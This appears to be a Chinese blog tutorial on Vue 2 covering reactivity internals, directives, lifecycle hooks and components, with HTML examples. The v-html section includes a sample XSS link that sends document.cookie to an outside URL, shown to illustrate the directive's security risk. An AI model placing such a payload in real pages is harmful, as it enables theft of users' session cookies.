目录
1.Vue监测数据的原理
1.1 原理
1.1.1 数据劫持
1.1.2 观察者模式(Vue内部的实现)
1.1.3 更新组件
1.1.4 计算属性和侦听器
1.2 后添加属性做响应式(Vue.set / vm.$set)
1.3 对象和数组的响应式
1.4 数据监视案例
2.指令
2.1 内置指令
2.1.1 v-text 指令
2.1.2 v-html 指令
2.1.3 v-cloak 指令
2.1.4 v-once 指令
2.1.5 v-pre 指令
2.2 自定义指令
2.2.1 自定义指令案例
2.2.2 自定义指令总结
3.生命周期
3.1 什么是生命周期?
3.2 分析生命周期
3.3 生命周期的总结
4.Vue 组件化编程
4.1 模块与组件、模块化与组件化
4.1.1 模块
4.1.2 组件
4.1.3 模块化
4.1.4 组件化
4.2 文件组件
4.2.1 非单文件组件
4.2.2 单文件组件
4.3 组件的基本使用
4.4 需要注意的点
4.5 组件的嵌套
4.6 VueComponent 构造函数
4.6.1 关于VueComponent构造函数
4.6.2 关于VueComponent 和 Vue的内置关系
1.Vue监测数据的原理
1.1 原理
(...)就是有响应式数据绑定的属性
Vue.js是一个用于构建用户界面的渐进式框架,其核心特性之一是响应式数据绑定(因此修改之后会解析模版,使得页面重新渲染)。Vue的响应式原理主要基于数据劫持和发布-订阅模式。以下是Vue监测数据变化的详细原理介绍:
1.1.1 数据劫持
数据劫持:可以理解为拿到数据,对数据进行提供getter和setter封装的操作。
Vue通过“数据劫持”来实现响应式系统。具体过程如下:
-
Object.defineProperty:Vue在初始化数据时,会使用
Object.defineProperty
方法将数据对象的属性转换为 getter 和 setter。当我们访问属性值时,会触发 getter,当我们设置属性值时,则会触发 setter。// 示例代码 const data = { name: 'Vue' }; Object.defineProperty(data, 'name', { get: function() { console.log('Getting name:', this); return this._name; }, set: function(newValue) { console.log('Setting name:', newValue); this._name = newValue; } });
-
嵌套对象处理:对于嵌套对象,Vue会递归调用
Object.defineProperty
将每个属性都设置为响应式。这样,深层嵌套的属性也能被监测到。
1.1.2 观察者模式(Vue内部的实现)
观察者模式:可以理解为给属性加上监视功能,记录属性是否被更改,而且也会记录用到该属性的地方。
vue会监视data中所有层次的数据。
Vue通过观察者模式(Observer pattern)实现了数据变化的监测:
-
Dep(依赖收集):每个被监测的属性都有一个
Dep
实例。这个实例用于收集依赖于该属性的所有观察者(即使用到这个属性的组件)。 -
Watcher:每个使用该属性的组件或实例都会创建一个
Watcher
实例。在组件渲染的过程中,Watcher
会注册自身到相关的Dep
中。class Dep { constructor() { this.subscribers = []; // 存储观察者 } addSub(watcher) { this.subscribers.push(watcher); } notify() { this.subscribers.forEach(watcher => watcher.update()); // 通知所有观察者 } }
1.1.3 更新组件
更新组件:当属性被修改时,也就是触发setter,就会通知依赖该属性,完成模版的重新渲染。
当我们通过 setter 修改了一个属性的值时,会触发该属性的 setter
。在这里,Vue会调用 Dep.notify()
方法,通知所有依赖于该属性的 Watcher
实例。
-
Watcher.update:当
Watcher
接收到通知时,会调用它的update()
方法,触发组件重新渲染。
1.1.4 计算属性和侦听器
计算属性和侦听器也是响应式数据绑定
-
计算属性:Vue的计算属性也是基于响应式系统实现的。计算属性的 getter 会自动地将需要依赖的数据加入到依赖列表中。
-
侦听器:侦听属性变化的机制则是Vue的另一个重要特性。侦听器通过
vm.$watch
方法来监听数据变化,当数据变化时,会执行对应的方法。
1.2 后添加属性做响应式(Vue.set / vm.$set)
Vue.set
和 vm.$set
是 Vue 提供的方法,用于向某个对象添加新的属性或向数组中添加新的元素,并确保该属性或元素是响应式的。
特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性!!!
问题:直接在对象或者数组新增数据,发现页面并不会显示该数据,就是因为该数据没有响应式,
Vue没有管理该数据。
响应式处理:
- (1).对象中后追加的属性,Vue默认不做响应式处理
- (2).如需给后添加的属性做响应式,请使用如下API:
- Vue.set(target,propertyName/index,value)
- vm.$set(target,propertyName/index,value)
特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性!!!
1.3 对象和数组的响应式
1. 如何监测对象中的数据?
通过setter实现监视,且要在new Vue时就传入要监测的数据。对象中后追加的属性,Vue默认不做响应式处理。
2. 如何监测数组中的数据?
问题:
从下图可以看出,friends是一个数组,数组里面的元素并不会像对象那样,拥有响应式,也就是Vue提供的Setter和Getter方法,因此往数组里面添加数据,会发现页面并没有展示出来,但是后台却可以看到存在该数据。那是因为Vue并不会把这定义为你对数组的修改。下面将解决这个问题。
解决问题:
通过包裹数组更新元素的方法实现,本质就是做了两件事:
- (1).调用原生对应的方法对数组进行更新。才会被Vue识别为更改,给予响应式数据处理。
- (2).重新解析模板,进而更新页面。
方式一:
Vue 将被侦听的数组的变更方法进行了包裹(也就是对数组的方法进一步封装),所以它们也将会触发视图更新。
这些被包裹过的方法包括:
特点:这几个方法都会改变原数组。
方式二:
变更方法,顾名思义,会变更调用了这些方法的原始数组。相比之下,也有非变更方法,例如 filter()
、concat()
和 slice()
。它们不会变更原始数组,而总是返回一个新数组。当使用非变更方法时,可以用新数组替换旧数组,这样Vue才会识别数组的修改。
方式三:
运用Vue.set / vm.$set)
1.4 数据监视案例
点击按键实现功能:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>总结数据监视</title>
<style>
button {
margin-top: 10px;
}
</style>
<!-- 引入Vue -->
<script type="text/javascript" src="./vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h1>学生信息</h1>
<button @click="student.age++">年龄+1岁</button> <br />
<button @click="addSex">添加性别属性,默认值:男</button> <br />
<button @click="student.sex = '未知' ">修改性别</button> <br />
<button @click="addFirstFriend">在列表首位添加一个朋友</button> <br />
<button @click="updateFitstFriendName">修改第一个朋友的名字为:张三</button> <br />
<button @click="addOneHobby">添加一个爱好</button> <br />
<button @click="updateOneHobby">修改第一个爱好为:开车</button> <br />
<button @click="filterSmoke">过滤掉爱好中的抽烟</button> <br />
<h3>姓名:{{student.name}}</h3>
<h3>年龄:{{student.age}}</h3>
<h3 v-if="student.sex">性别:{{student.sex}}</h3>
<h3>爱好:</h3>
<ul>
<li v-for="(h,index) in student.hobby" :key="index">
{{h}}
</li>
</ul>
<h3>朋友们:</h3>
<ul>
<li v-for="(f,index) in student.friends" :key="index">
{{f.name}}--{{f.age}}
</li>
</ul>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el: '#root',
data: {
student: {
name: 'tom',
age: 18,
hobby: ['抽烟', '喝酒', '烫头'],
friends: [
{ name: 'jerry', age: 35 },
{ name: 'tony', age: 36 }
]
}
},
methods: {
addSex() {
this.$set(this.student, 'sex', '男')
},
addFirstFriend() {
this.student.friends.unshift({ name: 'linhan', age: 22 })
},
updateFitstFriendName() {
this.student.friends.splice(0, 1, { name: '张三', age: 22 })
},
addOneHobby() {
this.student.hobby.unshift('打台球')
},
updateOneHobby() {
this.student.hobby.splice(0, 1, '开车')
},
filterSmoke() {
// 这里注意需要重新赋值,Vue才会鉴定为数组的修改
this.student.hobby = this.student.hobby.filter(element => {
return element != '抽烟'
})
}
}
})
</script>
</html>
2.指令
2.1 内置指令
2.1.1 v-text 指令
v-text指令:
- 1.作用:向其所在的节点中渲染文本内容。
- 2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
注意:比如<div v-text="属性">我是会被替代的内容</div>
2.1.2 v-html 指令
v-html指令:
1.作用:向指定节点中渲染包含html结构的内容。
2.与插值语法的区别:
- (1).v-html会替换掉节点中所有的内容,这一点跟v-text一样,{{xx}}则不会。
- (2).v-html可以识别html结构。
3.严重注意:v-html有安全性问题!!!!
- (1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
- (2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
- (3).可以通过Get方式,将网页的Cookie携带到URL的?后面,因此有安全性问题。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-html指令</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<div>你好,{{name}}</div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'尚硅谷',
str:'<h3>你好啊!</h3>',
// 安全性问题所在
str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
}
})
</script>
</html>
2.1.3 v-cloak 指令
v-cloak指令(没有值):
- 1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
- 2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-cloak指令</title>
<style>
[v-cloak]{
display:none;
}
</style>
<!-- 引入Vue -->
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2 v-cloak>{{name}}</h2>
</div>
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
</body>
<script type="text/javascript">
console.log(1)
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'尚硅谷'
}
})
</script>
</html>
2.1.4 v-once 指令
v-once指令:
- 1.v-once所在节点在初次动态渲染后,就视为静态内容了。也就是只会调用一次。
- 2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-once指令</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2 v-once>初始化的n值是:{{n}}</h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
n:1
}
})
</script>
</html>
2.1.5 v-pre 指令
v-pre指令:
- 1.跳过其所在节点的编译过程。
- 2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-pre指令</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2 v-pre>Vue其实很简单</h2>
<h2 >当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
n:1
}
})
</script>
</html>
2.2 自定义指令
2.2.1 自定义指令案例
需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。(用回调函数简单)
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。(必须用配置对象才能实现)
代码:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>自定义指令</title>
<script type="text/javascript" src="./vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2>{{name}}</h2>
<h2>当前的n值是:<span v-text="n"></span> </h2>
<!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> -->
<h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
<button @click="n++">点我n+1</button>
<hr />
<input type="text" v-fbind:value="n">
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
//定义全局指令
/* Vue.directive('fbind',{
//指令与元素成功绑定时(一上来)
bind(element,binding){
element.value = binding.value
},
//指令所在元素被插入页面时
inserted(element,binding){
element.focus()
},
//指令所在的模板被重新解析时
update(element,binding){
element.value = binding.value
}
}) */
new Vue({
el: '#root',
data: {
name: '尚硅谷',
n: 1
},
directives: {
//big函数何时会被调用?
// 1.指令与元素成功绑定时(一上来), 但是指令所在的元素还没有放入页面。
// 2.指令所在的模板被重新解析时。
big(element, binding) {
// console.log('big', this) //注意此处的this是window
// console.log(binding) //得到对象
// console.log(element) //得到元素DOM
// binding 里面的对象包含n的value属性
element.innerText = binding.value * 10
},
fbind: {
//指令与元素成功绑定时(一上来)
bind(element, binding) {
element.value = binding.value
},
//指令所在元素被插入页面时
inserted(element, binding) {
// 这句话只有元素在页面才会起效
element.focus()
},
//指令所在的模板被重新解析时
update(element, binding) {
element.value = binding.value
}
}
}
})
</script>
</html>
2.2.2 自定义指令总结
自定义指令总结:
一、定义语法:
(1).局部指令:
new Vue({
directives:{
指令名:配置对象
}
})
new Vue({
directives{
指令名:回调函数
}
})
(2).全局指令:
Vue.directive(指令名,配置对象)
Vue.directive(指令名,回调函数)
二、配置对象中常用的3个回调:
- (1).bind:指令与元素成功绑定时调用。
- (2).inserted:指令所在元素被插入页面时调用。
- (3).update:指令所在模板结构被重新解析时调用。
三、注意事项:
- 1.指令定义时不加v-,但使用时要加v-;
- 2.指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。
3.生命周期
3.1 什么是生命周期?
生命周期:
- 1.又名:生命周期回调函数、生命周期函数、生命周期钩子。
- 2.是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。
- 3.生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
- 4.生命周期函数中的this指向是vm 或 组件实例对象。
3.2 分析生命周期
分为8个生命周期函数,4对生命周期,分别为 创建 -- 挂载 -- 挂载 -- 销毁。。。
如果想要跟踪每一个生命周期函数的执行情况,可以用debugger,刷新页面就会跳转到该debugger。
代码:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>分析生命周期</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root" :x="n">
<h2 v-text="n"></h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="add">点我n+1</button>
<button @click="bye">点我销毁vm</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
// template:`
// <div>
// <h2>当前的n值是:{{n}}</h2>
// <button @click="add">点我n+1</button>
// </div>
// `,
data:{
n:1
},
methods: {
add(){
console.log('add')
this.n++
},
bye(){
console.log('bye')
this.$destroy()
}
},
watch:{
n(){
console.log('n变了')
}
},
beforeCreate() {
console.log('beforeCreate')
},
created() {
console.log('created')
},
beforeMount() {
console.log('beforeMount')
},
mounted() {
console.log('mounted')
},
beforeUpdate() {
console.log('beforeUpdate')
},
updated() {
console.log('updated')
},
beforeDestroy() {
console.log('beforeDestroy')
},
destroyed() {
console.log('destroyed')
},
})
</script>
</html>
3.3 生命周期的总结
常用的生命周期钩子:
- 1.mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
- 2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。一般配合this.$destroy()使用,就会调用beforeDestroy生命周期函数。
关于销毁Vue实例:
- 1.销毁后借助Vue开发者工具看不到任何信息。
- 2.销毁后自定义事件会失效,但原生DOM事件依然有效。
- 3.一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了。
4.Vue 组件化编程
4.1 模块与组件、模块化与组件化
模块和组件其实都是为了能够实现代码的复用性,而且比较好维护。
4.1.1 模块
- 1. 理解: 向外提供特定功能的 js 程序, 一般就是一个 js 文件
- 2. 为什么: js 文件很多很复杂
- 3. 作用: 复用 js, 简化 js 的编写, 提高 js 运行效率
4.1.2 组件
4.1.3 模块化
4.1.4 组件化
4.2 文件组件
4.2.1 非单文件组件
1.定义:
非单文件组件通常指将组件的模板、逻辑和样式分散在多个文件中。
2.结构:
HTML 模板可以在 HTML 文件中,JavaScript 逻辑可以在单独的 JavaScript 文件中,样式可以在 CSS 文件中定义。
4.2.2 单文件组件
1.定义:
单文件组件将模板、脚本和样式集中在一个文件中,通常以 .vue
作为文件扩展名。
2.结构:
- 使用
<template>
标签定义 HTML 模板。 - 使用
<script>
标签定义 JavaScript 逻辑。 - 使用
<style>
标签定义样式。
4.3 组件的基本使用
Vue中使用组件的三大步骤:
- 一、定义组件(创建组件)
- 二、注册组件
- 三、使用组件(写组件标签)
一、如何定义一个组件?
使用Vue.extend(options)创建,其中options和new Vue(options)时传入的那个options几乎一样,但也有点区别;
区别如下:
1.el不要写,为什么?
最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器。
2.data必须写成函数,为什么?
避免组件被复用时,数据存在引用关系。
备注:使用template可以配置组件结构。
二、如何注册组件?
1.局部注册:靠new Vue的时候传入components选项。一般用的比较多。
2.全局注册:靠Vue.component('组件名',组件)。
三、编写组件标签:
<school></school>
代码演示:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="./vue.js"></script>
</head>
<body>
<div id="root">
<!-- 3.使用组件 -->
<school></school>
<hr>
<student></student>
<hr>
<!-- 可以复用组件 -->
<school></school>
</div>
<script>
// 1.创建组件
const school = Vue.extend({
// el: "#root",
template: `
<div>
<h2>学校地址:{{schoolAddress}}</h2>
<h2>学校名称:{{schoolName}}</h2>
</div>
`,
data() {
return {
schoolAddress: "广州花都",
schoolName: "GGS"
}
}
})
const student = Vue.extend({
// el: "#root",
template: `
<div>
<h2>学生名字:{{studnetName}}</h2>
<h2>学生年龄:{{studentAge}}</h2>
</div>
`,
data() {
return {
studnetName: "小张",
studentAge: 23,
}
}
})
new Vue({
el: "#root",
// 2.注册组件
components: {
school,
student
}
})
</script>
</body>
</html>
4.4 需要注意的点
几个注意点:
1.关于组件名
一个单词组成:
- 第一种写法(首字母小写):school
- 第二种写法(首字母大写):School
多个单词组成:
- 第一种写法(kebab-case命名):my-school
- 第二种写法(CamelCase命名):MySchool (需要Vue脚手架支持)
备注:
- (1).组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行。
- (2).可以使用name配置项指定组件在开发者工具中呈现的名字。
2.关于组件标签
第一种写法:<school></school>
第二种写法:<school/>
备注:不用使用脚手架时,<school/>会导致后续组件不能渲染。
3.一个简写方式
const school = Vue.extend(options) 可简写为:const school = options,vm会进行判断,
如果没有调用,就帮我们调用。
4.5 组件的嵌套
步骤:
- 1.注册的环境发生更换
- 2.子组件的标签需要在父组件中的模版进行定义
- 3.子组件的代码要写在父组件的前面
代码演示:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="./vue.js"></script>
</head>
<body>
<div id="root">
<!-- 3.使用组件 -->
<school></school>
<hr>
<!-- 编写嵌套组件 -->
<!-- <student></student> -->
</div>
<script>
// 创建组件
const student = Vue.extend({
template: `
<div>
<h2>学生名字:{{studnetName}}</h2>
<h2>学生年龄:{{studentAge}}</h2>
</div>
`,
data() {
return {
studnetName: "小张",
studentAge: 23,
}
}
})
// 1.创建组件
const school = Vue.extend({
// 子组件的标签要编写到父组件的模版里面
template: `
<div>
<h2>学校地址:{{schoolAddress}}</h2>
<h2>学校名称:{{schoolName}}</h2>
<student></student>
</div>
`,
data() {
return {
schoolAddress: "广州花都",
schoolName: "GGS"
}
},
// 子组件需要在父组件里面注册
components: {
student
}
})
new Vue({
el: "#root",
// 2.注册组件
components: {
school
}
})
</script>
</body>
</html>
4.6 VueComponent 构造函数
4.6.1 关于VueComponent构造函数
1.school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的。
2.我们只需要写<school/>或<school></school>,Vue解析时会帮我们创建school组件的实例对象,即Vue帮我们执行的:new VueComponent(options)。
3.特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent!!!!
4.关于this指向:
- (1).组件配置中:data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【VueComponent实例对象】。
- (2).new Vue(options)配置中:data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【Vue实例对象】。
5.VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)。
Vue的实例对象,以后简称vm。
4.6.2 关于VueComponent 和 Vue的内置关系
- 1.一个重要的内置关系:VueComponent.prototype.__proto__ === Vue.prototype
- 2.为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue原型上的属性、方法。
- 3. vc就是小型的vm, vm可以有 el 属性而 vc没有, 其他差别不大。
原型关系图: